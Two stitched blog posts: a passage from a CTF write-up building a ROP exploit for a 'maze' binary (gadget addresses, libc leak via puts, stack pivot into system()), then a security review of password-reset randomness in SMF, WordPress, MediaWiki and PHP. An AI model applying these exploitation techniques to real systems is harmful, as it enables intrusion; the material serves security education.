Since read() takes three arguments, that are passed in RDI, RSI and RDX respectively, we need to make a ROP chain that populates those registers before returning into read(). Ideally, our target binary would have contained instruction sequences such as “pop rdi; ret”, “pop rsi; ret” and “pop rdx; ret”, or even “pop rdi; pop rsi; pop rdx; ret”, but those instruction sequences are not commonly found in practice. Since x86 and x86_64 use variable-length instructions, that do not have to be aligned to any n-byte-boundary, it is possible to return into the middle of existing instructions though. By looking at partial instructions as well, we can find “pop rdi; ret” at 0x400f63 (the “pop rdi” instruction, opcode 0x5F, is actually the second byte of “pop r15” instruction) and “pop rsi; pop r15; ret” at 0x400f61 (the “pop rsi”, opcode 0x5E, is the second byte of a “pop r14” instruction), as you can see below:

maze-rop-gadgets

It doesn’t matter that there is a “pop r15” instruction between the “pop rsi” and the “ret” instruction, as long as we are able to populate the registers we care about, without any side effects that cause the program to crash (invalid memory accesses, etc), it suits our purposes just fine.

Looking for ROP gadgets manually can be time-consuming though, especially for small binaries where there are few naturally occuring instruction sequences that are useful. Alternatives include using PEDA, Python Exploit Development Assistance for GDB, as can be seen below:

As you can see above, there are unfortunately no suitable “pop rdx” gadgets. There may be other ways for us to populate RDX though, and for our purposes, we don’t need to populate RDX with any specific value. Any non-zero value that is not too small is fine. The code we want to execute is read(0, ptr, N), where ptr is a pointer to a buffer that we are reading data into and N just needs to be at least as large as the data we want to read. As long as RDX still contains a non-zero value after the read(), even 1 might have been ok, if we can chain multiple calls to read().

For a more complete listing of ROP gadgets, that we can inspect manually in order to see if we can find anything useful, the ROPgadget tool by Jonathan Salwan can be used:

There does not seem to be any obvious gadgets available for setting RDX, and unfortunately, RDX is set to 0 (as a side effect of the call to fclose() before returning from append_highscore(), at least when running it on my own system while testing) when the function epilogue for reached_goal() is executed. Since RDX can be set as a side-effect when calling functions, we can try looking for “harmless” functions to return into in order to set RDX to a non-zero value though.

We also still have the problem of not knowing the base address of libc, and maybe there’s a way to solve both of these problems at once. 🙂 By returning into the PLT-entry for puts(), that prints a string (or rather, prints any data up until the first NUL-byte it encounters), with RDI set to an address that contains a pointer into libc (such as a GOT-entry), we are able to both set RDX as a side-effect of the call to puts(), as well as leak a libc address that can be used to calculate the address of arbitrary libc functions. The fact that puts() also happens to set RDX as a side-effect was just a lucky coincidence, but if it hadn’t, there were a number of other functions we could try to call for that purpose.

Our original plan of simply returning into reached_goal(), right before the call to fopen(), is now obsolete. Since we have now leaked a libc address, we can simply use the read() in order to read a second stage ROP chain into a known location and then pivot the stack into that. The exploit will read the leaked address (a pointer to puts() in libc, by reading the GOT-entry for puts() in the address space of the non-PIE binary), calculate the base address of libc from that, and then the address of system(). Since we have just read arbitrary data into a known location, we can also place an arbitrary command string to be executed there, rather than using the “/bin/sh” string from libc. This also makes it more suitable for cases where we don’t know which libc version is used on the target system, since we only have to bruteforce one offset (between puts() and system()) rather than also having to know the address of the “/bin/sh” string. Another possibility, in that case, would be to use puts()-calls to leak data at page-boundaries below the leaked puts()-address, in order to find the base address of libc, and then implement symbol resolving by parsing the ELF header. That was actually what I ended up doing on the cfy-challenge, after my attempts that assumed an Ubuntu 14.04 libc failed (it turned out to be Ubuntu 14.10). 😛

The only remaining piece of the puzzle at this point are gadgets to perform the stack pivot, into our second stage ROP chain. For this, we can use a “pop rbp; ret” gadget, that can be found at address 0x400AB0, in order to populate RBP. Then we use the “leave; ret”-equivalent in the function epilogue of reached_goal(), that I have already mentioned earlier, in order to point RSP into our second stage ROP chain. For the first stage ROP chain we also need a simple ret-gadget (such as the one at 0x400F64), since we do not know the exact offset into our buffer where the stack will be shifted (it will vary with each execution). By just filling the start of the buffer with addresses of ret-instructions, it will keep on returning until it reaches our ROP chain that we have placed right at the end of the buffer.

To sum it up. The gadgets we need are:

  • 0x400F64: Prepended to ROP chain for “NOP sled” effect (ret)
  • 0x400F63: Set RDI, i.e. the 1st function argument (pop rdi; ret)
  • 0x400F61: Set RSI, i.e. the 2nd function argument (pop rsi; pop r15; ret)
  • 0x400AB0: Set RBP, to prepare for the stack pivot (pop rbp; ret)
  • 0x400E96: Stack pivot (lea rsp, [rbp-0x28]; pop {rbx,r12-r15,rbp}; ret)

Note that the three first are all from the same function epilogue btw. 🙂

Besides these ROP gadgets, we also need:

  • 0x606028: GOT-entry for puts(), used to leak a libc address
  • 0x400850: PLT-entry for read(), returned into to read our 2nd stage ROP chain
  • 0x4007F0: PLT-entry for puts(), returned into to print the leaked address
  • 0x606XXX: Scratch buffer, that our 2nd stage ROP chain is read into

Initially, I used 0x6060A0 as the scratch buffer address, i.e. the start of the .data section. That resulted into running out of stack space in system() though, since the memory below this address will be used as stack space for functions that we are returning into from our 2nd stage ROP chain. I changed it to 0x606500, to give the stack more room to grow, and now we finally have a full working exploit. 🙂

As a final touch, I implemented support for providing a full interactive pty-session rather than a lousy interactive shell with no job control. 😉 What good is pwning, if you can’t run vim on your targets?! 🙂

Sample session:

Note that you may have to run it multiple times to succeed, due to ASLR. If arrow-up+enter is too cumbersome, just run while true; ./maze-xpl.py; done 🙂

Source code for exploit provided below:

(Mostly) good password resets

This is part 3 to my 2-part series on password reset attacks (Part 1 / Part 2). Overall, I got awesome feedback on the first two parts, but I got the same question over and over: what’s the RIGHT way to do this?

So, here’s the thing. I like to break stuff, but I generally leave the fixing to somebody else. It’s just safer that way, since I’m not really a developer or anything like that. Instead, I’m going to continue the trend of looking at others’ implementations by looking at three major opensource projects – WordPress, SMF, and MediaWiki. Then, since all of these rely on PHP’s random number implementation to some extent, I’ll take a brief look at PHP.

SMF

SMF 1.1.13 implements the password-reset function in Sources/Subs-Auth.php:

  // Generate a random password.
  require_once($sourcedir . '/Subs-Members.php');
  $newPassword = generateValidationCode();
  $newPassword_sha1 = sha1(strtolower($user) . $newPassword);

Looking at Sources/Subs-Members.php, we find:

// Generate a random validation code.
function generateValidationCode()
{
  global $modSettings;

  $request = db_query('
    SELECT RAND()', __FILE__, __LINE__);

  list ($dbRand) = mysql_fetch_row($request);
  mysql_free_result($request);

  return substr(preg_replace('/\W/', '', sha1(microtime() . mt_rand() . $dbRand .
      $modSettings['rand_seed'])), 0, 10);
}

Which is pretty straight forward, but also, in my opinion, very strong. It takes entropy from a bunch of different places:

  • The current time (microtime())
  • PHP’s random number generator (mt_rand())
  • MySQL’s random number generator ($dbRand)
  • A user-configurable random seed

Essentially, it puts these difficult-to-guess values through a cryptographically secure function, sha1(), and takes the first 10 characters of the hash.

The hash consists of lowercase letters and numbers, which means there are 36 possible choices for 10 characters, for a total of 3610 or 3,656,158,440,062,976 possible outputs. That isn’t as strong as it *could* be, since there’s no reason to limit its length to 10 characters (or its character set to 36 characters). That being said, three quadrillion different passwords would be nearly impossible to guess. (By my math, exhaustively cracking all possible passwords, assuming md5 cracks at 5 million guesses/second, would take about 23 CPU-years). Not that cracking is terribly useful – remote bruteforce guessing is much more useful and is clearly impossible.

SMF is my favourite implementation of the three, but let’s take a look at WordPress!

WordPress

WordPress 3.1 implements the password-reset function in wp-login.php:

  $key = $wpdb->get_var($wpdb->prepare("SELECT user_activation_key FROM
      $wpdb->users WHERE user_login = %s", $user_login));
  if ( empty($key) ) {
    // Generate something random for a key...
    $key = wp_generate_password(20, false);
    do_action('retrieve_password_key', $user_login, $key);
    // Now insert the new md5 key into the db
    $wpdb->update($wpdb->users, array('user_activation_key=> $key), 
      array('user_login=> $user_login));
  }

wp_generate_password() is found in wp-includes/pluggable.php:

/**
 * Generates a random password drawn from the defined set of characters.
 *
 * @since 2.5
 *
 * @param int $length The length of password to generate
 * @param bool $special_chars Whether to include standard special characters.
      Default true.
 * @param bool $extra_special_chars Whether to include other special characters.
 *   Used when generating secret keys and salts. Default false.
 * @return string The random password
 **/
function wp_generate_password( $length = 12, $special_chars = true, $
      extra_special_chars = false ) {
  $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
  if ( $special_chars )
    $chars .= '!@#$%^&*()';
  if ( $extra_special_chars )
    $chars .= '-_ []{}<>~`+=,.;:/?|';

  $password = '';
  for ( $i = 0; $i < $length; $i++ ) {
    $password .= substr($chars, wp_rand(0, strlen($chars) - 1), 1);
  }

  // random_password filter was previously in random_password function which was
      deprecated
  return apply_filters('random_password', $password);
}

This generates a string of random characters (and possibly symbols) up to a defined length, choosing the characters using wp_rand(). So, for the final step, how is wp_rand() implemented? It’s also found in wp-includes/pluggable.php and looks like this:

  global $rnd_value;

  // Reset $rnd_value after 14 uses
  // 32(md5) + 40(sha1) + 40(sha1) / 8 = 14 random numbers from $rnd_value
  if ( strlen($rnd_value) < 8 ) {
    if ( defined( 'WP_SETUP_CONFIG) )
      static $seed = '';
    else
      $seed = get_transient('random_seed');
    $rnd_value = md5( uniqid(microtime() . mt_rand(), true ) . $seed );
    $rnd_value .= sha1($rnd_value);
    $rnd_value .= sha1($rnd_value . $seed);
    $seed = md5($seed . $rnd_value);
    if ( ! defined( 'WP_SETUP_CONFIG) )
      set_transient('random_seed', $seed);
  }

  // Take the first 8 digits for our value
  $value = substr($rnd_value, 0, 8);

  // Strip the first eight, leaving the remainder for the next call to wp_rand().
  $rnd_value = substr($rnd_value, 8);

  $value = abs(hexdec($value));

  // Reduce the value to be within the min - max range
  // 4294967295 = 0xffffffff = max random number
  if ( $max != 0 )
    $value = $min + (($max - $min + 1) * ($value / (4294967295 + 1)));

  return abs(intval($value));
}

This is quite complex for generating a number! But the points of interest are:

  • Hashing functions (sha1 and md5) are used, which are going to be a lot slower than a standard generator, but they, at least in theory, have cryptographic strength
  • The random number is seeded with microtime() and mt_rand(), which is PHP’s “advanced” randomization function)
  • The random number is restricted to 0 – 0xFFFFFFFF, which is pretty typical

In practice, due to the multiple seeds with difficult-to-predict values and the use of a hashing function to generate strong random numbers, this seems to be a good implementation of a password reset. My biggest concern is the complexity – using multiple hashing algorithms and hashing in odd ways (like hasing the value alone, then the hash with the seed). It has the feeling of being unsure what to do, so trying to do everything ‘just in case’. While I don’t expect to find any weaknesses in the implementation, it’s a little concerning.

Now, let’s take a look at my least favourite (although still reasonably strong) password-reset implementation: MediaWiki!

MediaWiki

MediaWiki 1.16.2 was actually the most difficult to find the password reset function in. Eventually, though, I managed to track it down to includes/specials/SpecialUserlogin.php:

    $np = $u->randomPassword();
    $u->setNewpassword( $np, $throttle );
    $u->saveSettings();
    $userLanguage = $u->getOption( 'language);
    $m = wfMsgExt( $emailText, array( 'parsemag', 'language=> $userLanguage ), 
      $ip, $u->getName(), $np,
        $wgServer . $wgScript, round( $wgNewPasswordExpiry / 86400 ) );
    $result = $u->sendMail( wfMsgExt( $emailTitle, array( 'parsemag', 
      'language=> $userLanguage ) ), $m );

$u->randomPassword() is found in includes/User.php looks like this:

  /**
   * Return a random password. Sourced from mt_rand, so it's not particularly secure.
   * @todo hash random numbers to improve security, like generateToken()
   *
   * @return \string New random password
   */
  static function randomPassword() {
    global $wgMinimalPasswordLength;
    $pwchars = 'ABCDEFGHJKLMNPQRSTUVWXYZabcdefghjkmnpqrstuvwxyz';
    $l = strlen( $pwchars ) - 1;

    $pwlength = max( 7, $wgMinimalPasswordLength );
    $digit = mt_rand( 0, $pwlength - 1 );
    $np = '';
    for ( $i = 0; $i < $pwlength; $i++ ) {
      $np .= $i == $digit ? chr( mt_rand( 48, 57 ) ) : $pwchars{ mt_rand( 0, $l ) };
    }
    return $np;
  }

This is easily the most complex, and also most dangerous, password-reset implementation that I’ve found.

First, the length is only 7 characters by default. That’s already an issue.

Second, the set of characters is letters (uppercase + lowercase) and exactly one number. And it looks to me like they put a lot of effort into figuring out just how to put that one number into the password. Initially, I thought this made the password slightly weaker due to the following calculations:

  • 7 characters @ 52 choices = 527 = 1,028,071,702,528
  • 6 characters @ 52 choices + 1 character @ 10 choices = 526 * 10 = 197,706,096,640

However, as my friend pointed out, because you don’t know where, exactly, the number will be placed, that actually adds an extra multiplier to the strength:

  • 6 characters @ 52 choices + 1 characters @ 10 choices + unknown number location = 526 * 10 * 7 = 1,383,942,676,480

So, in reality, adding a single number does improve the strength, but only by a bit.

Even with the extra number, though, the best we have at 7 characters is about 1.4 trillion choices. As with the others, that’s essentially impossible to guess/bruteforce remotely. That’s a good thing. However, with a password cracker and 5 million checks/second, it would take a little over 3.2 CPU-days to exhaustively crack all generated passwords, so that can very easily be achieved.

The other issue here is that the only source of entropy is PHP’s mt_rand() function. The next section will look at how PHP seeds this function.

PHP

All three of these implementations depend, in one way or another, on PHP‘s mt_rand() function. The obvious question is, how strong is mt_rand()?

I’m only going to look at this from a high level for now. When I have some more time, I’m hoping to dig deeper into this and, with luck, bust it wide open. Stay tuned for that. 🙂

For now, though, let’s look at the function that’s used by all three password-reset functions: mt_rand(). mt_rand() is an implementation of the Mersenne Twisteralgorithm, which is a well tested random number generator with an advertised average period of 219937-1. That means that it won’t repeat until 219937-1 values are generated. I don’t personally have the skills to analyze the strength of the algorithm itself, but what I CAN look at is the seed.

Whether using rand() or mt_rand(), PHP automatically seeds the random number generator. The code is in ext/standard/rand.c, and looks like this:

PHPAPI long php_rand(TSRMLS_D)
{
    long ret;

    if (!BG(rand_is_seeded)) {
        php_srand(GENERATE_SEED() TSRMLS_CC);
    }
    // ...
}

Simple enough – if rand() is called without a seed, then seed it with the GENERATE_SEED() macro, which is found in ext/standard/php_rand.h:

#ifdef PHP_WIN32
#define GENERATE_SEED() (((long) (time(0) * GetCurrentProcessId())) ^ 
     ((long)
(1000000.0 * php_combined_lcg(TSRMLS_C))))
#else
#define GENERATE_SEED() (((long) (time(0) * getpid())) ^ 
     ((long) (1000000.0 * php_combined_lcg(TSRMLS_C))))
#endif

So it’s seeded with the current time() (known), process id (weak), and php_combined_lcg(). What the heck is php_combined_lcg? Well, an LCG is a Linear Congruential Generator, a type of random number generator, and it’s defined at ext/standard/lcg.c so let’s take a look:

PHPAPI double php_combined_lcg(TSRMLS_D) /* {{{ */
{
    php_int32 q;
    php_int32 z;

    if (!LCG(seeded)) {
        lcg_seed(TSRMLS_C);
    }

    MODMULT(53668, 40014, 12211, 2147483563L, LCG(s1));
    MODMULT(52774, 40692, 3791, 2147483399L, LCG(s2));

    z = LCG(s1) - LCG(s2);
    if (z < 1) {
        z += 2147483562;
    }

    return z * 4.656613e-10;
}

This function also needs to be seeded! It’s pretty funny to seed a random number generator with another random number generator – what, exactly, does that improve?

Here is what lcg_seed(), in the same file, looks like:

static void lcg_seed(TSRMLS_D) /* {{{ */
{
    struct timeval tv;

    if (gettimeofday(&tv, NULL) == 0) {
        LCG(s1) = tv.tv_sec ^ (tv.tv_usec<<11);
    } else {
        LCG(s1) = 1;
    }
#ifdef ZTS
    LCG(s2) = (long) tsrm_thread_id();
#else 
    LCG(s2) = (long) getpid();
#endif

    /* Add entropy to s2 by calling gettimeofday() again */
    if (gettimeofday(&tv, NULL) == 0) {
        LCG(s2) ^= (tv.tv_usec<<11);
    }

    LCG(seeded) = 1;
}

This is seeded with the current time (known), the process id (weak), and the current time again (still known).

So to summarize, unless I’m missing something, PHP’s automatic seeding uses the following for entropy:

  • Current time (known value)
  • Process ID (predictable range)
  • php_combined_lcg
    • Current time (again)
    • Process id (again)
    • Current time (yet again)

I haven’t done any further research into PHP’s random number generator, but from what I’ve seen I don’t get a good feeling about it. It would be interesting if somebody took this a step further and actually wrote an attack against PHP’s random number implementation. That, or discovered a source of entropy that I was unaware of. Because, from the code I’ve looked at, it looks like there may be some problems.

An additional issue is that every seed generated is cast to a (long), which is 32-bits. That means that at the very most, despite the ridiculously long period of the mt_rand() function, there are only 4.2 billion possible seeds. That means, at the very best, an application that relies entirely on mt_rand() or rand() for their randomness are going to be a lot less random than they think!

It turns out, after a little research, I’m not the only one who’s noticed problems with PHP’s random functions. In fact, in that article, Stefan goes over a history of PHP’s random number issues. It turns out, what I’ve found is only the tip of the iceberg!

Observations

I hope the last three blogs have raised some awareness on how randomization can be used and abused. It turns out, using randomness is far more complex than people realize. First, you have to know how to use it properly; otherwise, you’ve already lost. Second, you have to consider how you’re generating the it in the first place.

It seems that the vast majority of applications make either one mistake or the other. It’s difficult to create “good” randomness, though, and I think the one that does the best job is actually SMF.

Recommendation

Here is what I would suggest:

  • Get your randomness from multiple sources
  • Save a good random seed between sessions (eg, save the last output of the random number generator to the database)
  • Use cryptographically secure functions for random generation (for example, hashing functions)
  • Don’t limit your seeds to 32-bit values
  • Collect entropy in the application, if possible (what happens in your application that is impossible to guess/detect/force but that can accumulate?)

I’m sure there are some other great suggestions for ensuring your random numbers are cryptographically secure, and I’ve love to hear them!